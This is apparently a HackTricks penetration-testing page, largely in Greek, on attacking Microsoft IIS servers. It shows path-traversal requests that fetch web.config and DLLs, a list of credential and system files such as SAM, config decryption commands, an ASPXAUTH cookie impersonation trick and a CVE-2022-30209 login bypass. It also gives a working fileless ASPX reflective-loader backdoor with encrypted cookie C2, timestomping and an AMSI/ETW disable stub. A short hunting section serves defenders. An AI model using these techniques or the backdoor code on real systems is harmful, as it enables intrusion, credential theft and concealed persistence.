IIS - Internet Information Services
Reading time: 16 minutes
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Επεκτάσεις αρχείων προς δοκιμή:
- asp
- aspx
- config
- php
Αποκάλυψη εσωτερικής διεύθυνσης IP
Σε οποιονδήποτε IIS server όπου λαμβάνετε ένα 302 μπορείτε να δοκιμάσετε να αφαιρέσετε το Host header και να χρησιμοποιήσετε HTTP/1.0 και μέσα στην απόκριση το Location header μπορεί να δείχνει την εσωτερική διεύθυνση IP:
nc -v domain.com 80
openssl s_client -connect domain.com:443
Απάντηση που αποκαλύπτει την εσωτερική διεύθυνση IP:
GET / HTTP/1.0
HTTP/1.1 302 Moved Temporarily
Cache-Control: no-cache
Pragma: no-cache
Location: https://192.168.5.237/owa/
Server: Microsoft-IIS/10.0
X-FEServer: NHEXCHANGE2016
Εκτέλεση αρχείων .config
Μπορείτε να ανεβάσετε αρχεία .config και να τα χρησιμοποιήσετε για να εκτελέσετε κώδικα. Ένας τρόπος είναι να προσθέσετε τον κώδικα στο τέλος του αρχείου μέσα σε ένα HTML σχόλιο: Download example here
Περισσότερες πληροφορίες και τεχνικές για την εκμετάλλευση αυτής της ευπάθειας here
IIS Discovery Bruteforce
Κατεβάστε τη λίστα που έχω δημιουργήσει:
Δημιουργήθηκε συνενώνοντας τα περιεχόμενα των παρακάτω λιστών:
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt
http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html
https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt
https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt
Χρησιμοποιήστε τη χωρίς να προσθέσετε επέκταση — τα αρχεία που τη χρειάζονται την έχουν ήδη.
Path Traversal
Leaking source code
Δείτε την πλήρη ανάλυση στο: https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html
tip
Συνοπτικά, υπάρχουν αρκετά αρχεία web.config μέσα στους φακέλους της εφαρμογής με αναφορές σε "assemblyIdentity" αρχεία και "namespaces". Με αυτές τις πληροφορίες είναι δυνατό να γνωρίζετε πού βρίσκονται τα εκτελέσιμα αρχεία και να τα κατεβάσετε.
Από τα downloaded Dlls είναι επίσης δυνατό να βρείτε new namespaces όπου θα πρέπει να προσπαθήσετε να έχετε πρόσβαση και να αποκτήσετε το αρχείο web.config για να βρείτε νέα namespaces και assemblyIdentity.
Επίσης, τα αρχεία connectionstrings.config και global.asax μπορεί να περιέχουν ενδιαφέρουσες πληροφορίες.
Σε εφαρμογές .Net MVC, το αρχείο web.config παίζει κρίσιμο ρόλο, προσδιορίζοντας κάθε δυαδικό αρχείο στο οποίο βασίζεται η εφαρμογή μέσω των XML tags "assemblyIdentity".
Εξερεύνηση Δυαδικών Αρχείων
Ένα παράδειγμα πρόσβασης στο αρχείο web.config εμφανίζεται παρακάτω:
GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
Host: example-mvc-application.minded
Αυτό το αίτημα αποκαλύπτει διάφορες ρυθμίσεις και εξαρτήσεις, όπως:
- EntityFramework έκδοση
- AppSettings για webpages, client validation και JavaScript
- System.web ρυθμίσεις για authentication και runtime
- System.webServer ρυθμίσεις modules
- Runtime assembly bindings για πολλές βιβλιοθήκες όπως Microsoft.Owin, Newtonsoft.Json, και System.Web.Mvc
Αυτές οι ρυθμίσεις υποδεικνύουν ότι κάποια αρχεία, όπως /bin/WebGrease.dll, βρίσκονται στον φάκελο /bin της εφαρμογής.
Αρχεία Ριζικού Καταλόγου
Αρχεία που βρέθηκαν στον ριζικό κατάλογο, όπως /global.asax και /connectionstrings.config (που περιέχει ευαίσθητους κωδικούς πρόσβασης), είναι απαραίτητα για τη ρύθμιση και τη λειτουργία της εφαρμογής.
Χώροι ονομάτων και Web.Config
Οι εφαρμογές MVC ορίζουν επίσης επιπλέον web.config files για συγκεκριμένα namespaces ώστε να αποφευχθούν επαναλαμβανόμενες δηλώσεις σε κάθε αρχείο, όπως φαίνεται με ένα αίτημα για λήψη ενός άλλου web.config:
GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
Host: example-mvc-application.minded
Λήψη DLLs
Η αναφορά σε ένα προσαρμοσμένο namespace υποδεικνύει ένα DLL με όνομα "WebApplication1" που βρίσκεται στον κατάλογο /bin. Ακολούθως εμφανίζεται ένα αίτημα για λήψη του WebApplication1.dll:
GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
Host: example-mvc-application.minded
Αυτό υποδηλώνει την παρουσία άλλων απαραίτητων DLL, όπως System.Web.Mvc.dll και System.Web.Optimization.dll, στον φάκελο /bin.
Σε ένα σενάριο όπου ένα DLL εισάγει ένα όνομα χώρου (namespace) με όνομα WebApplication1.Areas.Minded, ένας επιτιθέμενος θα μπορούσε να συμπεράνει την ύπαρξη άλλων web.config αρχείων σε προβλέψιμες διαδρομές, όπως /area-name/Views/, που περιέχουν συγκεκριμένες ρυθμίσεις και αναφορές σε άλλα DLL στο φάκελο /bin. Για παράδειγμα, ένα αίτημα προς /Minded/Views/web.config μπορεί να αποκαλύψει ρυθμίσεις και ονόματα χώρων που υποδηλώνουν την παρουσία ενός άλλου DLL, WebApplication1.AdditionalFeatures.dll.
Κοινά αρχεία
Από here
C:\Apache\conf\httpd.conf
C:\Apache\logs\access.log
C:\Apache\logs\error.log
C:\Apache2\conf\httpd.conf
C:\Apache2\logs\access.log
C:\Apache2\logs\error.log
C:\Apache22\conf\httpd.conf
C:\Apache22\logs\access.log
C:\Apache22\logs\error.log
C:\Apache24\conf\httpd.conf
C:\Apache24\logs\access.log
C:\Apache24\logs\error.log
C:\Documents and Settings\Administrator\NTUser.dat
C:\php\php.ini
C:\php4\php.ini
C:\php5\php.ini
C:\php7\php.ini
C:\Program Files (x86)\Apache Group\Apache\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache\logs\access.log
C:\Program Files (x86)\Apache Group\Apache\logs\error.log
C:\Program Files (x86)\Apache Group\Apache2\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache2\logs\access.log
C:\Program Files (x86)\Apache Group\Apache2\logs\error.log
c:\Program Files (x86)\php\php.ini"
C:\Program Files\Apache Group\Apache\conf\httpd.conf
C:\Program Files\Apache Group\Apache\conf\logs\access.log
C:\Program Files\Apache Group\Apache\conf\logs\error.log
C:\Program Files\Apache Group\Apache2\conf\httpd.conf
C:\Program Files\Apache Group\Apache2\conf\logs\access.log
C:\Program Files\Apache Group\Apache2\conf\logs\error.log
C:\Program Files\FileZilla Server\FileZilla Server.xml
C:\Program Files\MySQL\my.cnf
C:\Program Files\MySQL\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.cnf
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.1\my.cnf
C:\Program Files\MySQL\MySQL Server 5.1\my.ini
C:\Program Files\MySQL\MySQL Server 5.5\my.cnf
C:\Program Files\MySQL\MySQL Server 5.5\my.ini
C:\Program Files\MySQL\MySQL Server 5.6\my.cnf
C:\Program Files\MySQL\MySQL Server 5.6\my.ini
C:\Program Files\MySQL\MySQL Server 5.7\my.cnf
C:\Program Files\MySQL\MySQL Server 5.7\my.ini
C:\Program Files\php\php.ini
C:\Users\Administrator\NTUser.dat
C:\Windows\debug\NetSetup.LOG
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\Panther\Unattended.xml
C:\Windows\php.ini
C:\Windows\repair\SAM
C:\Windows\repair\system
C:\Windows\System32\config\AppEvent.evt
C:\Windows\System32\config\RegBack\SAM
C:\Windows\System32\config\RegBack\system
C:\Windows\System32\config\SAM
C:\Windows\System32\config\SecEvent.evt
C:\Windows\System32\config\SysEvent.evt
C:\Windows\System32\config\SYSTEM
C:\Windows\System32\drivers\etc\hosts
C:\Windows\System32\winevt\Logs\Application.evtx
C:\Windows\System32\winevt\Logs\Security.evtx
C:\Windows\System32\winevt\Logs\System.evtx
C:\Windows\win.ini
C:\xampp\apache\conf\extra\httpd-xampp.conf
C:\xampp\apache\conf\httpd.conf
C:\xampp\apache\logs\access.log
C:\xampp\apache\logs\error.log
C:\xampp\FileZillaFTP\FileZilla Server.xml
C:\xampp\MercuryMail\MERCURY.INI
C:\xampp\mysql\bin\my.ini
C:\xampp\php\php.ini
C:\xampp\security\webdav.htpasswd
C:\xampp\sendmail\sendmail.ini
C:\xampp\tomcat\conf\server.xml
HTTPAPI 2.0 404 Error
Αν δείτε ένα σφάλμα όπως το παρακάτω:
Σημαίνει ότι ο server didn't receive the correct domain name μέσα στο Host header.
Για να αποκτήσετε πρόσβαση στη σελίδα, μπορείτε να κοιτάξετε το σερβιρισμένο SSL Certificate και ίσως βρείτε το domain/subdomain εκεί. Αν δεν υπάρχει, ίσως χρειαστεί να κάνετε brute force VHosts μέχρι να βρείτε το σωστό.
Decrypt encrypted configuration and ASP.NET Core Data Protection key rings
Δύο κοινά μοτίβα για την προστασία μυστικών σε IIS-hosted .NET apps είναι:
- ASP.NET Protected Configuration (RsaProtectedConfigurationProvider) για τμήματα web.config όπως
. - ASP.NET Core Data Protection key ring (persisted locally) που χρησιμοποιείται για την προστασία μυστικών εφαρμογής και cookies.
Αν έχετε πρόσβαση στο filesystem ή interactive στον web server, τα co-located keys συχνά επιτρέπουν την αποκρυπτογράφηση.
- ASP.NET (Full Framework) – αποκρυπτογραφήστε προστατευμένα τμήματα config με aspnet_regiis:
# Decrypt a section by app path (site configured in IIS)
%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\aspnet_regiis.exe -pd "connectionStrings" -app "/MyApplication"
# Or specify the physical path (-pef/-pdf write/read to a config file under a dir)
%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\aspnet_regiis.exe -pdf "connectionStrings" "C:\inetpub\wwwroot\MyApplication"
- ASP.NET Core – αναζητήστε Data Protection key rings αποθηκευμένα τοπικά (XML/JSON files) σε τοποθεσίες όπως:
- %PROGRAMDATA%\Microsoft\ASP.NET\DataProtection-Keys
- HKLM\SOFTWARE\Microsoft\ASP.NET\Core\DataProtection-Keys (registry)
- App-managed folder (e.g., App_Data\keys or a Keys directory next to the app)
Με το key ring διαθέσιμο, ένας operator που τρέχει με την ταυτότητα της εφαρμογής μπορεί να instantiate ένα IDataProtector με τα ίδια purposes και να unprotect αποθηκευμένα secrets. Λανθασμένες ρυθμίσεις που αποθηκεύουν το key ring μαζί με τα αρχεία της εφαρμογής κάνουν το offline decryption εύκολο μόλις ο host είναι compromised.
IIS fileless backdoors and in-memory .NET loaders (NET-STAR style)
Το Phantom Taurus/NET-STAR toolkit δείχνει ένα ώριμο pattern για fileless IIS persistence και post‑exploitation εξ ολοκλήρου μέσα στο w3wp.exe. Οι βασικές ιδέες είναι γενικά επαναχρησιμοποιήσιμες για custom tradecraft και για detection/hunting.
Key building blocks
- ASPX bootstrapper hosting an embedded payload: a single .aspx page (e.g., OutlookEN.aspx) carries a Base64‑encoded, optionally Gzip‑compressed .NET DLL. Upon a trigger request it decodes, decompresses and reflectively loads it into the current AppDomain and invokes the main entry point (e.g., ServerRun.Run()).
- Cookie‑scoped, encrypted C2 with multi‑stage packing: tasks/results are wrapped with Gzip → AES‑ECB/PKCS7 → Base64 and moved via seemingly legitimate cookie‑heavy requests; operators used stable delimiters (e.g., "STAR") for chunking.
- Reflective .NET execution: accept arbitrary managed assemblies as Base64, load via Assembly.Load(byte[]) and pass operator args for rapid module swaps without touching disk.
- Operating in precompiled ASP.NET sites: add/manage auxiliary shells/backdoors even when the site is precompiled (e.g., dropper adds dynamic pages/handlers or leverages config handlers) – exposed by commands such as bypassPrecompiledApp, addshell, listshell, removeshell.
- Timestomping/metadata forgery: expose a changeLastModified action and timestomp on deployment (including future compilation timestamps) to hinder DFIR.
- Optional AMSI/ETW pre‑disable for loaders: a second‑stage loader can disable AMSI and ETW before calling Assembly.Load to reduce inspection of in‑memory payloads.
Minimal ASPX loader pattern
<%@ Page Language="C#" %>
<%@ Import Namespace="System" %>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.IO.Compression" %>
<%@ Import Namespace="System.Reflection" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e){
// 1) Obtain payload bytes (hard‑coded blob or from request)
string b64 = /* hardcoded or Request["d"] */;
byte[] blob = Convert.FromBase64String(b64);
// optional: decrypt here if AES is used
using(var gz = new GZipStream(new MemoryStream(blob), CompressionMode.Decompress)){
using(var ms = new MemoryStream()){
gz.CopyTo(ms);
var asm = Assembly.Load(ms.ToArray());
// 2) Invoke the managed entry point (e.g., ServerRun.Run)
var t = asm.GetType("ServerRun");
var m = t.GetMethod("Run", BindingFlags.Public|BindingFlags.NonPublic|BindingFlags.Static|BindingFlags.Instance);
object inst = m.IsStatic ? null : Activator.CreateInstance(t);
m.Invoke(inst, new object[]{ HttpContext.Current });
}
}
}
</script>
Βοηθητικά για Packing/crypto (Gzip + AES‑ECB + Base64)
using System.Security.Cryptography;
static byte[] AesEcb(byte[] data, byte[] key, bool encrypt){
using(var aes = Aes.Create()){
aes.Mode = CipherMode.ECB; aes.Padding = PaddingMode.PKCS7; aes.Key = key;
ICryptoTransform t = encrypt ? aes.CreateEncryptor() : aes.CreateDecryptor();
return t.TransformFinalBlock(data, 0, data.Length);
}
}
static string Pack(object obj, byte[] key){
// serialize → gzip → AES‑ECB → Base64
byte[] raw = Serialize(obj); // your TLV/JSON/msgpack
using var ms = new MemoryStream();
using(var gz = new GZipStream(ms, CompressionLevel.Optimal, true)) gz.Write(raw, 0, raw.Length);
byte[] enc = AesEcb(ms.ToArray(), key, true);
return Convert.ToBase64String(enc);
}
static T Unpack<T>(string b64, byte[] key){
byte[] enc = Convert.FromBase64String(b64);
byte[] cmp = AesEcb(enc, key, false);
using var gz = new GZipStream(new MemoryStream(cmp), CompressionMode.Decompress);
using var outMs = new MemoryStream(); gz.CopyTo(outMs);
return Deserialize<T>(outMs.ToArray());
}
Cookie/session flow and command surface
- Η εκκίνηση της συνεδρίας και η ανάθεση εργασιών πραγματοποιούνται μέσω cookies ώστε να συγχωνευτούν με τη συνηθισμένη δραστηριότητα του web.
- Οι εντολές που παρατηρήθηκαν στον πραγματικό κόσμο περιλάμβαναν: fileExist, listDir, createDir, renameDir, fileRead, deleteFile, createFile, changeLastModified; addshell, bypassPrecompiledApp, listShell, removeShell; executeSQLQuery, ExecuteNonQuery; και δυναμικά execution primitives code_self, code_pid, run_code για εκτέλεση .NET εντός μνήμης.
Timestomping utility
File.SetCreationTime(path, ts);
File.SetLastWriteTime(path, ts);
File.SetLastAccessTime(path, ts);
Ενσωματωμένη απενεργοποίηση AMSI/ETW πριν από Assembly.Load (loader variant)
// Patch amsi!AmsiScanBuffer to return E_INVALIDARG
// and ntdll!EtwEventWrite to a stub; then load operator assembly
DisableAmsi();
DisableEtw();
Assembly.Load(payloadBytes).EntryPoint.Invoke(null, new object[]{ new string[]{ /* args */ } });
Δες τεχνικές bypass AMSI/ETW στο: windows-hardening/av-bypass.md
Hunting notes (defenders)
- Μία περίεργη σελίδα ASPX με πολύ μεγάλα Base64/Gzip blobs; POSTs φορτωμένα με cookies.
- Μη-υποστηριζόμενα managed modules εντός w3wp.exe; strings like Encrypt/Decrypt (ECB), Compress/Decompress, GetContext, Run.
- Επαναλαμβανόμενοι διαχωριστές όπως "STAR" στην κίνηση; μη-ταιριασμένες ή ακόμα και μελλοντικές χρονοσφραγίδες σε ASPX/assemblies.
Old IIS vulnerabilities worth looking for
Microsoft IIS tilde character “~” Vulnerability/Feature – Short File/Folder Name Disclosure
You can try to enumerate folders and files inside every discovered folder (even if it's requiring Basic Authentication) using this technique.
Ο βασικός περιορισμός αυτής της technique, αν ο server είναι ευάλωτος, είναι ότι μπορεί να βρει μόνο έως τα πρώτα 6 γράμματα του ονόματος κάθε αρχείου/φακέλου και τα πρώτα 3 γράμματα της επέκτασης των αρχείων.
You can use https://github.com/irsdl/IIS-ShortName-Scanner to test for this vulnerability:java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/
Original research: https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf
You can also use metasploit: use scanner/http/iis_shortname_scanner
Μια καλή ιδέα για να βρείτε το τελικό όνομα των ανακαλυφθέντων αρχείων είναι να ζητήσετε από LLMs επιλογές, όπως γίνεται στο script https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py
Basic Authentication bypass
Κάντε Bypass σε basic authentication (IIS 7.5) προσπαθώντας να αποκτήσετε πρόσβαση σε: /admin:$i30:$INDEX_ALLOCATION/admin.php
or /admin::$INDEX_ALLOCATION/admin.php
Μπορείτε να δοκιμάσετε να mix αυτή τη vulnerability με την προηγούμενη για να βρείτε νέους folders και να bypass την authentication.
ASP.NET Trace.AXD enabled debugging
Το ASP.NET περιλαμβάνει λειτουργία debugging και το αρχείο της ονομάζεται trace.axd
.
Κρατάει πολύ λεπτομερές log όλων των requests που γίνονται προς μια εφαρμογή σε μια περίοδο χρόνου.
Αυτές οι πληροφορίες περιλαμβάνουν remote client IPs, session IDs, όλα τα request και response cookies, physical paths, πληροφορίες source code, και ενδεχομένως ακόμα usernames και passwords.
https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/
ASPXAUTH Cookie
ASPXAUTH uses the following info:
validationKey
(string): hex-encoded key to use for signature validation.decryptionMethod
(string): (default “AES”).decryptionIV
(string): hex-encoded initialization vector (defaults to a vector of zeros).decryptionKey
(string): hex-encoded key to use for decryption.
Ωστόσο, κάποιοι θα χρησιμοποιήσουν τις default values αυτών των παραμέτρων και θα χρησιμοποιήσουν ως cookie το email του χρήστη. Επομένως, αν βρείτε έναν ιστό που χρησιμοποιεί την same platform και χρησιμοποιεί το ASPXAUTH cookie και δημιουργήσετε έναν χρήστη με το email του χρήστη που θέλετε να μιμηθείτε στον server-στόχο, μπορεί να είστε σε θέση να use the cookie from the second server in the first one και να μιμηθείτε τον χρήστη.
Αυτό δούλεψε σε αυτό το writeup.
IIS Authentication Bypass with cached passwords (CVE-2022-30209)
Full report here: Σφάλμα στον κώδικα που δεν ελέγχε σωστά το password που δίνει ο χρήστης, οπότε ένας επιτιθέμενος του οποίου το password hash συμπίπτει με ένα key που υπάρχει ήδη στην cache θα είναι σε θέση να συνδεθεί ως αυτός ο χρήστης.
# script for sanity check
> type test.py
def HashString(password):
j = 0
for c in map(ord, password):
j = c + (101*j)&0xffffffff
return j
assert HashString('test-for-CVE-2022-30209-auth-bypass') == HashString('ZeeiJT')
# before the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 401 Unauthorized
# after the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 200 OK
Αναφορές
- Unit 42 – Phantom Taurus: A New Chinese Nexus APT and the Discovery of the NET-STAR Malware Suite
- AMSI/ETW bypass background (HackTricks)
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.